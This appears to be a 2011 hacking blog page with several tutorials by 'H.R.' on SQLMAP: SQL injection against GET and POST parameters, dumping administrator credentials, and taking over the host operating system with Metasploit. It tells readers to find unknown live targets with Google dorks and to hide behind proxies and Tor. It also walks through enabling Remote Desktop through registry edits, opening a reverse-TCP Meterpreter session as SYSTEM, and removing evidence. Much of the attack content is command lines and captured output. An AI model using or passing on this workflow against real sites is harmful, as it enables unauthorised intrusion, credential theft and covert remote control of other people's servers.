Showing posts with label sqlmap. Show all posts
Showing posts with label sqlmap. Show all posts

Tuesday, May 17, 2011

Owning the Database with SQLMAP and METASPLOIT

Last time we were using SQLMAP from Windows platform and could not realize its full potential so today I will be trying to teach you how to use it from Linux platform to take advantage of all that it has to offer. We will begin by booting up our favorite Linux distro of choice; I will be using BackTrack 4R2 for purposes of this tutorial - it is not required but helps because everything is mostly setup already (mostly Metasploit). Once you have your networking services started and a confirmed working version of Metasploit installed you should have everything how you want it for a stable work environment we will begin by downloading the latest copy of SQLMAP to our system. You can find it online at: http://sqlmap.sourceforge.net/ or you can check it out from the terminal by using the following commands:

EX: svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
      NOTE: if using svn you may need to accept certificate to download, this is safe so
      you shouldnt have to worry...

Once it is done downloading you will have a new folder on your Desktop called "sqlmap-dev", and inside is what we will be using for the remainder of this tutorial - "sqlmap.py". In order to confirm it is properly setup lets just issue a quick command to take a peek at what we will be using today:

EX: python sqlmap.py --help

This will display all of the options available for SQLMAP. I will not go into too much details on the basics as they were covered in my first tutorial. I will be picking up where we left off in the previous tutorial, quick recap:

Command: python sqlmap.py -u http://site.com/example.php?id=1 -f -b --current-user --current-db --dbs --is-dba
Current User:    'user@localhost'
Current Database: database1
System Users [1]: 'user'@'localhost'
Current User is DBA:    'False'
Available Databases [5]:
 [*] information_schema
 [*] database1
 [*] database2
 [*] database3
 [*] database4
Command: python sqlmap.py -u http://site.com/example.php?id=1 --tables -D database1
Database: database1
[13 tables]
+-----------------+
| access             |
| action             |
| ad                   |
| adcriteria        |
| adminhelp       |
| administrator   |
| adminlog         |
| adminmessage |
| bbcode            |
| config              |
| db_users          |
| users                |
| etc                   |
+-----------------+
Command: python sqlmap.py -u http://site.com/example.php?id=1 --columns -D database1 -T administrator
Database: database1
Table: administrator
[3 Columns]
+----------+---------------+
| Column |     Type         |
+---------+----------------+
| user      | varchar(250) |
| pass      | varchar(250) |
| ID        |  int(11)           |
| etc       |  varchar(100) |
+--------+-----------------+
Command: python sqlmap.py -u http://site.com/example.php?id=1 --dump -D database1 -T administrator -C ID,Password,user
Database: database1
Table: administrators
[2 entries]
+-----+------------------------------+------------+
| ID   |              Password             |   User       |
+-----+------------------------------+------------+
| 1     |  IhazYOURpassWORD    |   admin    |
| 2     | IhazYOURpassWORDtoo| JohnDoe  |
+-----+------------------------------+------------+
We have got Admin credentials! I hope they work on cpanel...
OK...so we have pulled all that we can from this server using SQLinjection, or have we? NOT EVEN CLOSE...
Since we have changed platforms and are now running on Linux with Metasploit also installed it is time to start putting SQLMAP to some real ninja work. Let's see what we have to work with: COmmand: sqlmap.py --help
...excerpt:
  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system.
    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process' user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

As you can see quit a few options, but all require Linux and working Metasploit as dependancy which is why I did not cover them on the last tutorial. We will begin with '--os-cmd' and work our way down from there explaining the different attack methods as we go...

We can try to run operating system commands using: '--os-cmd' and/or '--os-shell'
It is possible to execute commands on the database server's underlying operating system when the back-end DBMS is running either MySQL, PostgreSQL or MSSQL Server, AND the session user has the necessary privileges for the database. If you want to understand how SQLMAP accomplishes things please visit the homesite for the product or read the docs included with download as I dont have the time to go into that here, just know it works and is very capable and the methods used can change slightly based on whether or not you need to see/retrive the response back on screen or not...
These techniques are also well detailed in the white paper which is linked from the homesite's main page, called "Advanced SQL injection to operating system full control". The basic command structure looks like this:

EX: python sqlmap.py -u "http://site.com/pgsql/example.php?id=1" --os-cmd id -v 1

Results...
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL
[16:09:15] [INFO] fingerprinting the back-end DBMS operating system
[16:09:15] [INFO] the back-end DBMS operating system is Linux
[16:09:18] [INFO] testing if current user is DBA
[16:09:25] [INFO] detecting back-end DBMS version from its banner
[16:09:25] [INFO] checking if UDF 'sys_eval' already exist
[16:09:35] [INFO] checking if UDF 'sys_exec' already exist
[16:09:35] [INFO] creating UDF 'sys_eval' from the binary UDF file
[16:09:35] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(mysql) gid=106(mysql) groups=106(mysql)'
[16:09:37] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[16:09:45] [INFO] database management system cleanup finished
[16:09:45] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually

You should choose "YES" to most of the prompts unless you know what you are really doing. This is especially true for the cleanup phase to remove the user added functions which allow the takeover to take place (thus removing one more piece of evidence)...
 
If SQLMAP has not confirmed stacked queries can be used (i.e. PHP or ASP with back-end database management system running MySQL) and the DBMS is MySQL, it is still possible to perform successful attack using the "INTO_OUTFILE()" function to create a web backdoor in a writable folder within the web server document root allowing command execution (assuming the back-end DBMS and the web server are hosted on the same server - if not then all bets are off!). IF this scenario is detected SQLMAP will prompt the user for additional targets to try and upload the web file stager and backdoor to. The tool has pre-built features allowing you to choose from SQLMAP's file stagers and backdoors for the following languages: ASP, ASP.NET, JSP, and PHP (which is the default option). You will be prompted to make these selections to aid the tool in getting the job done when you run the initial takeover command using '--os-cmd' argument.
 
In addition to executing commands on the underlying OS you can also prompt for a direct SQL Shell to work from using the '--os-shell' argument. It simulates a real shell that will allow you to execute arbitrary commands as you wish, and as many as you need. The option is --os-shell and has the same TAB completion and history functionalities that --sql-shell has or owuld be exeprienced in most Shell evironments. Another alternative is simply adding your commands with the '--sql-query  feature like so:

EX: sqlmap.py -u http://site.com/example.asp?id=666 --sql-query "SELECT @@datadir"
     NOTE: Sometimes SQLMAP will find an injection spot but fail to pull anything useful,
     so it is worth doublechecking your commands here to test the accuracy of results or
     to find certain bits of data that SQLMAP might not have included in the base set
     of commands (like the example above used to find local directory for SQL installation)

More Takeover Techniques? You bet ya...
If the Database Server is hosted on a Windows machine you can also use SQLMAP to read and write changes to the system registry. This is possible when the DBMS is running MySQL, PostgreSQL or Microsoft SQL Server AND supports stacked queries. The current session user will also need the proper privileges to access it.

Arguments that can be used:
 '--reg-read' used to read registry key values.
 '--reg-add' used to write regitry key values
 '--reg-del' used to delete registry keys values
 
 Auxiliary registry switches: '--reg-key', '--reg-value', '--reg-data' and '--reg-type'
 Auxiliary switches can be used as additional arguments to define registry specifics for running the main arguments to skip interactrive prompts
 '--reg-key=PATH' used to specify key path for Windows registry
 '--reg-value=NAME' used to define value item name inside provided key
 '--reg-data=VALUE' used to define value data
 '--reg-type=TYPE' used to define the type of value

Here is an example of what it would look like if we wanted to check the remote Windows S2k3 target to see if Remote Desktop is enabled alredy:

EX: sqlmap.py -u http://site.com/example.aspx?id=1 --reg-read --reg-key="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" --reg-value=fDenyTSConnections

Results...
=1...
Damn...0=Enabled..&..1=Disabled
...Good thing we are persistant ;)

To enable the Remote Desktop feature on the target machine so we could then remote in using some of the credentials we dumped from the database earlier :)

EX: sqlmap.py -u http://site.com/example.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" --reg-value=fDenyTSConnections --reg-type=DWORD --reg-data=0

Now issue the '--reg-read' command again to confirm the value was updated and returns a value of 1.
      NOTE: On most systems this would require a system restart so this may not be all
      that helpful in real life settings, but this should give you an idea of what you can
      be capable of as the options are only limited by you knowledge o the system registy
      so get to studying...
...
......
More Takeover Techniques? Yeah, I got a few more for you...
....so that is what SQLMAP is capable of on its own, now let's see what we can do when we add Metasploit to the equation and test SQLMAP using Out-of-band stateful connections (i.e using Metasploit modules & Meterpreter), using the following arguments/switches to put it all together: '--os-pwn', '--os-smbrelay', '--os-bof', '--priv-esc', '--msf-path' and '--tmp-path'. Each of these options will perform different attacks to try and take over the database server. These switches arguments can be used to get an interactive command prompt, a Meterpreter session or a VNC session.
SQLMAP relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server.

These techniques are:
  1. Database in-memory execution of the Metasploit's shellcode via sqlmap own user-defined function sys_bineval(). Supported on MySQL and PostgreSQL. Switch or argument to use attack method: '--os-pwn'
  2. Upload and execution of a Metasploit's stand-alone payload stager via sqlmap's own user-defined function sys_exec() on MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL. Switch or argument to use: '--os-pwn'
  3. Execution of Metasploit's shellcode by performing a SMB reflection attack ( MS08-068) with a UNC path request from the database server to the your machine where the Metasploit smb_relay server exploit is setup and listening. Supported when running sqlmap with high privileges (uid=0) on Linux/Unix and the target DBMS runs as Administrator on Windows. Switch or argument to use attack method: '--os-smbrelay'  _3a) This requires setup of SMBrelay attack from Metasploit's ./msfconsole
  4. 4) Database in-memory execution of the Metasploit's shellcode by exploiting Microsoft SQL Server 2000 and 2005 sp_replwritetovarbin stored procedure heap-based buffer overflow ( MS09-004).  _4a) sqlmap has its own exploit to trigger the vulnerability with automatic DEP memory protection bypass, but  it relies on Metasploit to generate the shellcode to get executed upon successful exploitation. Switch or  argument to use attack method: '--os-bof'
  5. Let's begin with option 1: '--os-pwn'
EX: python sqlmap.py -u "http://www.site.com/mysql/iis/example.aspx?id=1" --os-pwn --msf-path /pentest/exploits/framework3

Most important thing to note here is that we are defining the path to Metasploit using the '--msf-path' argument to tell sqlmap where to look so it can get Metasploit to prepare the shellcode to be used for the attack. (NOTE: I beleive this is one of the reasons it doesnt work on Windows as the path will not use Windows friendly path names/formatting and it seems to be hard coded for Linux use only). This will work similarly to the previous outline aboev for '--os-cmd' in that SQLMAP will do everything possible to make it work without user interaction but it may prompt you to identify the document root folder so it knows where to try and upload to make it work. You can also provide comma separated alternatives as additional otions/places to try.
 
Results from above '--os-pwn' command...
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[16:10:05] [INFO] fingerprinting the back-end DBMS operating system
[16:10:05] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[16:10:05] [INFO] testing if current user is DBA
[16:10:05] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[16:10:05] [INFO] checking if UDF 'sys_bineval' already exist
[16:10:06] [INFO] checking if UDF 'sys_exec' already exist
[16:10:09] [INFO] detecting back-end DBMS version from its banner
[16:10:09] [INFO] retrieving MySQL base directory absolute path
[16:10:11] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[16:10:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework 3 multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[16:10:15] [INFO] creation in progress ... done
[16:10:15] [INFO] running Metasploit Framework 3 command line interface locally, please wait..
 
<METASPLOIT Banner>
          =[ metasploit v3.8.0-dev [core:3.8 api:1.0]
+ -- --=[ 688 exploits - 357 auxiliary - 39 post
+ -- --=[ 217 payloads - 27 encoders - 8 nops
          =[ svn r12655 updated today (2011.05.17)
 
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval',
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0
meterpreter > exit
[*] Meterpreter session 1 closed.  Reason: User exit
 
By default MySQL on Windows runs as SYSTEM, however PostgreSQL runs as a low-privileged user "postgres" on both Windows and Linux. Microsoft SQL Server 2000 by default runs as SYSTEM, whereas Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK SERVICE and sometimes as LOCAL SERVICE.
 
It is also possible to provide sqlmap with the --priv-esc switch to perform a database process' user privilege escalation via Metasploit's getsystem command which include, among others, the kitrap0d technique ( MS10-015).
 
This brings us to the end of this adventure. I hope you have enjoyed these last few articles on some different methods to performing SQL injection with this great tool called SQLMAP. I can only think of one other topic for which I might cover this tool again and that would be how to use it to attack an ORACLE database like the new 10g or 11g but we will see (not sure if I have any time anytime soon). I am also leaning towards a quick mini article on SQLNINJA a similar tool whose goal is less focused on extracting data and more focused on getting full access to underlying OS and really has some neat features built into it and then on to bigger and better topics. I hope to bring you more tutorials and introductions to other great tools in the near future, until then please stay tuned and check back often for updates. Until next time - H.R.

Monday, May 9, 2011

This ain't your standard $GET request!

Today I will show you how to use SQLMAP to perform SQL injections via $POST. I should point out that this is not all that common of a vulnerability in the wild these days, but it is very good to know and should be tested before you give up all hopes on your target site. I would rate this as Intermediate in nature, due to complex nature of orchestrating things to work, but it is not all that hard to do if you give it a few tries. Here we go, try to keep up...

Start off by making sure you have the following requirements:
  • Burpsuite (latest copy - free version is fine)
  • Download from Homepage:  http://portswigger.net/burp/download.html
  • Just download and run burpsuite_v1.3.03.jar file (version number may change)
  • Requires JRE Environment to be installed to run, platform independant
  • SQLMAP (latest copy - Open Source=FREE)
  • Download from Homepage: 
  • http://sourceforge.net/projects/sqlmap/files/sqlmap/
  • Requires Python to be installed, platform independant although not all features capable on Windows platform
  • *Site with $POST data being submitted for us to find and inject (i.e. Login page or search fields
  • Example Google Dork: "inurl:admin/login.php" get creative and get better results
Now ow it is time to find a site where we can start doing some testing, let us use Google to see what we can find using a simple dork:
EX: "ext:php inurl:admin/login site:US"
       NOTE:  There are variations to this, so use your own creativity to increase your odds
Resulting Target Found: http://www.site.com/Admin/login.php (take note, write it down, and close browser)

Now it is time to use Burpsuite to help us find out the needed fields for injecting. Run the "burpsuite_v1.x.jar" file to get up and running, just double click it OR start it from the command line by using 'java -jar burpsuite_v1.x.jar' (replace "x" with your version number).
Bursuite is configured by default to operate on port 8080, so you will need to configure your favorite browser to use this as the proxy address so that Brupsuite can pick up all of the traffic for analysis and examining. For most browsers you can open and then go into options or internet options>>connections>>LAN Settings>>PROXY Settings>>and then set to: 127.0.0.1:8080>>save>>and your done.

Now any pages you go to in your web browser will be parsed by Burpsuite, simple remove proxy setting to go back to normal surfing. By default Burpsuite has the option to "Intercept Data" set to "ON". This is helpful if you want to tamper with data for EVERY request travling on the line. You can quicklya nd easily turn this off if you dont want as much interaction as it will still save the logs for requests sent and received to the HISTORY tab. I prefer to leave it ON as I see more of what is actually going on and can simply DROP any I dont want or FORWARD to allow without very much hastle. Leave it setup for now, we will come back to this in a few...

NOTE: you will have to do some back and forth to see the results while we test so I suggest you just minimize or adjust your screens so you can run side by side (my preference) to save your self time.

Now that we have a potential target and Burpsuite running we will start testing it with our browser to see what all is captured. Surf to the login page found with our Google Dorks earlier and watch as the Burpsuite starts to blink for user interaction. Assuming you have default behavior you will need to "FORWARD" or "DROP" the requests as they are sent and received. This equates to allow or drop in simple terms. You can review the actual details of what is being sent in the RAW tab window  (you change tabs to view different aspects of what is ebing sent/received). Let us try entering "logintest" in the login field and "passtest" in the password field, then submit. Obviously this is not going to get us into the site, unless you are just a really lucky guesser, BUT it will help us to get one step closer to accomplishing that task. You will see the request come through Burpsuite again, FORWARD the request to allow it to run through the full authentication cycle. Now lets review the results from that simple request we just sent...

In Burpsuite navigate to the HISTORY tab, two to the right of the main INTECEPTOR tab we have been working from since we started. The HISTORY tab will outline all of the details that were captured when we sent the login request to our target site.

You should see one or two $GET requests which were sent from you when you were actually navigating to the target site, and then you should find a $POST request from when we actually submitted the login page/form. This is the one we are actually interested in. Highlight the $POST request in the history tab and you can view the specifics down below in the RAW tab window. This is a view of the $POST request sent, if you look through it (likely near bottom) you will notice the actual post parameters sent for the form fields we entered (testlogin & passtest).

It should look something like this:
 POST /Admin/login.php HTTP/1.1
 Host: http://www.site.com/
 Proxy-Connection: keep-alive
 Referer: http://www.site.com/Admin/login.php
 Cache-Control: max-age=0
 Origin: http://www.ostergottesdienste.de/
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
 Content-Type: application/x-www-form-urlencoded
 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
 Accept-Encoding: gzip,deflate,sdch
 Accept-Language: en-US,en;q=0.8
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
 Cookie: sid=a3b362a522444335b693ab04007ebbed
 Content-Length: 133
 _auth_username=testlogin&_auth_password=testpass&Submit_button=Submit

*Notice* the "_auth_username=testlogin" & "_auth_password=testpass". These are the $POST fields we just sent, these field names may vary from site to site so please stay with me if yours a little different.
        Note the cookie field to see if this is of any value, as this and user-agent fields
        are also injectable (to be covered in another article).
             *PRO TIP*: If you use tools like Cain and Able you can use this method to
              add to the "HTTP_PASS_FIELDS.LST" & "HTTP_USER_FIELDS.LST" files
              to increase your chances of  catching credentials while pulling off MiTM attacks
              as you can add the form fields it looks for.

OK now that we know our $POST variables we will be working with, it is time to startup SQLMAP. Open command prompt and type in 'sqlmap.py', see previous posts regarding how to set environment variables to avoid having to navigate to the install folder.  Now that SQLMAP is up we will start feeding it the data we found from our previous steps above (_auth_username=&_auth_password=&Submit_button=). We will need to let identify we want to use $POST method to inject our website by issuing the '--data' argument followed by our $POST fields we found using Burpsuite "_auth_username=" & "_auth_password=".

NOTE: $GET requests are sent by SQLMAP as default but by issuing the '--data' argument it is smart enough to know to change to $POST - realized by you supplying the those $POST parameters with the '--data' argument in command. The fields passed are then used to test for SQL injection as well as any
provided GET parameters that might normally be tested for.

EX: sqlmap.py -u http://www.site.com/Admin/login.php --data "_auth_username=test&_auth_password=test$Submit_button=Submit"

 *PRO TIP* If you know or only want to test certain fields then only include the ones you want (i.e. _auth_password only). If you started a scan and it doesnt look like it is an injectable field you can hit 'CTRL+C' to pause and then you can hit 'N+ENTER' to skip to the next field to start testing. This can save you from spending unnecessary time.

Once confirmed that you have found an injection point, we can add arguments we learned from our previous introductions to find crucial information. We transform the above command into the following:
EX: sqlmap.py -u http://www.site.com/Admin/login.php --data "_auth_password=test" --current-user --current-dba --users --dbs --is-dba

Once we have processed results we will check for passwords, using the '--passwords' and see if we can get any...
EX: sqlmap.py -u http://www.site.com/Admin/login.php --data "_auth_password=test" --passwords
NOTE: this is assuming you have gone in order, as it will read the session file already created to skip things like (--users) which normally accompanies this command argument...

You can continue enumerating the database for more details on tables, columns, etc but that was already covered in my two original posts on SQLMAP so I will not go into any more details on how to dump the database. If you are super lazy and this was too complex for you, then you can use the easy way out as covered in my mini-tutorial at the end of SQLMAP Tips & Tricks article (--forms).

I hope you have enjoyed this little twist to your standard injection techniques, and hope you walk away remembering to leave no rock unturned in your search for vulnerabilities and injection points. I will try to include more in depth coverage on Burpsuite and its other functionalities and how else it can be used in future articles, but I encourage you in the meantime to please dig around in it and try to get creative.

Later,
H.R.

Thursday, May 5, 2011

SQLMAP Volume 2: TIPS & TRICKS

1) You need to be safe, so this is crucial. I assume you already have a trusted VPN connected and now to be extra ninja we are also going to route traffic through proxies. We can accomplish this by simply setting the '--proxy=PROXY' parameter which will enable use of proxies during scanning.
         EX: sqlmap.py -u http://site.com/example.php?id=1 --proxy=http://proxysite.com:PORT
         You can also supply credentials with the '--proxy-cred=user:pass' argument

2) You can speed scans by increasing the THREAD count, since the default is set to 3 request at a time.
         2a) If you set this beyond the default you may want to also set the '--delay=DELAY'
         parameter to allow some  strategic delays between requests (or to speed up
        even further, although I have a feeling this leads to errors  which other tools are prone to
        (cough..Havij)
         2b) You can use the '-o' switch to enable all of the optimiZation features at once
         2c) If you are performing time based attacks or blind injections then it may be a better
         idea to leave thread count alone and use the '--predict-output' argumernt
         which will save you a bit of time and will allow SQLMAP to perform some analysis
         on found results in session file to help speed things up (can slow things down in other
         scenarios where the '-o' option is much better choice.
        
3) You can have the tool load different USER-AGENTS in case a site or page has restrictions based on browser type. This can be accomplished by adding the '-a <insert/path/to/file>' parameter to your command string. It needs to be followed by the path to the file containing the USER-AGENTs to be used. You can run a few searches on Google to find some common ones or how to come up with your own custom USER-AGENT. NOTE: this may have been replaced by --user-agent=<insert user agent details> with latest update
         3a) there is a default list provided with installation that you can add to or see how they
        are modeled located at: '~\sqlmap\txt\user-agent.txt'
         *3b) you can also just let SQLMAP do the deciding by issuing the '--random-agent'
        
4) If you need to fake out the referer in the request due to restrictions on server side you can change the default values by using the '--referer=<http://www.insert/REFERER/page/.com/%3E'
          
5) Need credentials to perform a more in depth scan? No problem! We can set the credentials using the '--auth-cred' followed by credentials in the typical 'user'':''pass' format
          EX: --auth-cred=user:password  or  --auth-cred=admin:IhazYourPazword!
          
6) You can load targets using GOOGLE and DORKS, by using the '-g' argument followed by the search dork in quotes ""
          EX: sqlmap.py -g "inurl:index.php?id= site:us"
          NOTE: It will work on any targets found in an interactive manner but only the
          arguments passes with original command will be used on each target so make sure you
          use some basics but not too much.

          EX: sqlmap.py -g "inurl:index.php?id=" -b --current-user --current-db --is-dba --dbs
          6a) You can also process more than one site request at a time from a file by changing
          the standard '-u' to '-r <path/to/load/HTTP/requests/from/>'
         
7) You can save and resume scans and data retrieved in session file (in "output" folder) to save time, or to pick things back up where you last left off. You need to use the '-s <insert/path/to/session/file>/session' parameter to tell it where to look to parse results from.
          NOTE: Point it directly at the session file and not just the folder it is in or it
          wont load properly.
You can also use the recorded scan details to learn a LOT. It contains info on the queries used to get all the details as well as everything found, so it is a good reference and learning tool (all dumps are converted to .CSV files which are above and beyond the log and session files that are saved).

8) You can use the '--eta' paramter to have the scans keep an ETA so you have an idea of how long things are going to take. This come in handy when doing dumps of database to give you an idea of how long it thinks it will take (very useful when blind or trying to make determination as to whether or not it makes sense to dump a questionable table in full or just what you need. Remember if it looks like it will take too long you can use the '-s' argument to pick it back up later See step 7 above)

9) You can use '--flush-session' to clear out the results stored for a session file if you need to just start over, or in case the admin has come along and made some changes since your last visit ;)

10) The last one I will leave you with is very important if you are working on Linux machine, like Backtrack, to make sure you have the latest version of SQLMAP as it is constantly being worked on and new developments constantly being released. This can be accomplished by a quick addition of the '--update' argument.
           EX: sqlmap.py --update
           NOTE: if you are working on Windows then you can either check the SQLMAP
           homepage often for updated version to download or you can try the Windows SVN
           client called TortoiseSVN GUI, and can be found here and is available for both 32
           and 64 bit computers: http://tortoisesvn.net/
                     You just download and install, then navigate to the SQLMAP install folder in
                     Windows Explorer and you will now have green icon next to those folders
                     that can be updated by SVN. Just right click and choose the option to
                     SVN UPdate folder contents. Once it is done you have updated copy.
          
BONUS Material:
1) When attacking version 4 databases with no information schema to rely on there are still several options with SQLMAP:
          1a) You can use the '--common-tables' and '--common-columns' arguments to try and bruteforce the table and column names. The default list is much greater than Havij and other tools and can easily be added to if you want to beef it up, it as well as many others used can be found at: ~\sqlmap\txt\*.txt

2) If you dont get any positive results from injection but you have a gut fealing that the site is vulnerable then you can try increasing the '--level' or '--risk' arguments beyond the default level of 1. When you do this it will allow SQLMAP to perform more intense attacks and check for additional injection points such as the cookie field, user-agent field, and even the referer field. I typically will add '--level 3 --risk 3' to my command string if I dont get what I am looking for and have a strong feeling there is an injection point that is some how being overlooked.
3-X)=Updates recently introduced:
' --batch' allows you to walk away from the terminal and let SQLMAP make all of the decisions on your behalf fro all instances where it would usually prompt for interaction, a true hands free experience
' --schema' which can be used to enumeate the databases or schema
' --parse-errors' which tells SQLMAP to parse the error messages from response pages received from queries - helpful when using google dorks
' --mobile' which like the user-agent argument allows SQLMAP to act as if it was a mobile device, which can be handy in testing many of the new mobile.site.com spin-off domains to help reach ever expanding consumer markets with very little concern for security or sanitization :)
 Last, but certainly not least as this can be very helpful in adding to YOUR security:
' --tor' which enables SQLMAP to perform queries through the default TOR proxy setup address

Mini-Tutorial on the: --forms
So you want to inject a search form or try to bypass basic login page (with the typically two input fields such as user and pass), you can either pass to sqlmap the request in a request file (-r) as noted aboved, or you can set the $POST data accordingly using the '--data' argument,...
...or let SQLMAP do it for you!
Both user and pass from above example, as do others in real life, appear as <form> and <input> tags in HTML code. This is where this switch will get to perform its handy work. Provide SQLMAP with '--forms' as well as the page where the form can be found as the target url '-u' and SQLMAP will do the rest, by parsing the forms it has found on page provided and will interactively guide you through to test for SQL injection on the form input fields (rather than performing a normal injection scan on site provided by '-u').

Hope these help you with the tool SQLMAP a little bit more. Still working on adding some more instructions and tutorials regarding the additional features that interact with the filesystem, system registry, and actual command execution with a little help from Metasploit. I am also planning a separate short article on how to perform injections via $POST :)

Until next time...
Later - H.R.

Thursday, April 28, 2011

SQLMAP Basic Introduction and Tutorial

There are times when manual efforts just wont work or you plain dont have the skills and other famous tools like Havij dont seem to do the trick either. I experienced one of these times recently and it lead me to another great tool that just doesn't seem to be as popular - SQLMAP. I had a site the other day I was working on my injections with and could not get it manually due to poor skills at timing things, reading results, and PATIENCE. Havij was cracking out due to timing method sucking and I dont have skills to do it manually (props to those that can), so here is a tutorial I put together on how to go about cracking this thing wide open using the less commonly known tool SQLMAP. Let me first start by saying if you are afraid of the command line then just leave now because there is no GUI for this and I dont think there ever will be. If you really want to hack you need to get familiar with it so why not start now. Let's begin...

There is no need to waste time with $hitcash and other download sites. For a stable and virus free copy just get from the official site here: http://sqlmap.sourceforge.net/  
             Direct to Download Page: http://sourceforge.net/projects/sqlmap/files/sqlmap/

You will simply extract this to the desired folder you want to run and use it from. As mentioned this is a command line tool, NO GUI. If you want to add it to your path variable so you can run it from anywhere the command prompt opens by following these simple steps:

 1) Right click on Computer and choose Properties option
 2) In the System window click on Advanced system settings in the left pane
 3) In the System Properties window select Advanced tab and click on Environment Variables
 4) In the Environment Variables window you will notice two columns User variables for a username and System  variables - we need the user variable to the PATH so it knows where to open the program wherever we decide to open  CMD from
 5) Now to add a PATH to the User variable, highlight PATH and click on New… button. In the New User Variable dialog  box type the Variable name and Variable value and click OK button. If you are unsure you can choose to edit the  PATH variable to see how it is done (IF YOU CHANGE THIS YOU MAY HAVE PROBLEMS, SO BE CAREFULL, now just add path to  sqlmap.exe to the end and your done, hit OK and save.
     5a) To remove a User variable click on the required User variable and then click on Delete button
     5b) To edit a User variable click on Edit… button. In the Edit User Variable dialog box
     edit the Variable name and Variable value and click OK button

NOTE: you can skip the path variable part if you want but then you must be in the folder to run it from command line (I am lazy and dont like to navigate so I like to set it and forget it)

OK now you should be ready to get started...open the command prompt and type sqlmap or sqlmap.exe to see if you set the path variable correctly. If you get "error: missing a mandatory parameter..." then you are in business. To begin I suggest opening two command prompts at the same time and put them side by side (it will help make this easier to visualize and learn while we go through this tutorial). On one side you need to simply type in 'sqlmap --help' and see what follows, you will quickly see sqlmap has a LOT of options available for you to choose from. I will cover some of the basics to help get you started. Keep the help menu open on one side and now we will begin working from the other side.

I will assume you have done your own searching on the web to find some vulnerable targets, so let's get started testing them. we will use the '-u' option to define our target site, like this:

EX: sqlmap -u http://site.com/example.php?id=1

Results...PHP 5.2.14, Apache 2.2.17, MySQL 5
this will perform a basic run at the target to test for injection, simply providing basic overview info. We can use the '-f' parameter to get some more specific information from our target, like this:

EX: sqlmap -u http://site.com/example.php?id=1 -f

Results are not too much more than previous (you get column count or vulnerable column if you pay close attention to info retrieved as well as specifics on version). The results will also be stored for the entire session in the 'output' folder wherever sqlmap is physically installed - it also shows the commands used to get the info. That doesnt really tell us a lot so lets grab the site banner to see what it can tell us as well as some other useful info from the Database itself by changing up the command and adding a few more paramaters, like so:

EX: sqlmap -u http://site.com/example.php?id=1 -f -b --current-user --current-db --is-dba --users --dbs
Results:

NOTE: it seems to process them in the order you pass the arguments, so if it fails along the way you dont get the rest. For this reason I usually start with the above command and then start to change from there to get more info...

-f = Back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
              comment injection fingerprint: MySQL 5.1.00
              banner parsing fingerprint: MySQL 5.0.92
-b = banner:    '5.0.92-community'
--current-user  =  read from file 'C:\sqlmap-0.8_exe\output\site.com\session': user@localhost
--current-db = same as above, reads from session file created for scan but shows current database
--is-dba = same as above, reads from session file created for scan but shows if current user is DBA: 'TRUE' or 'False'
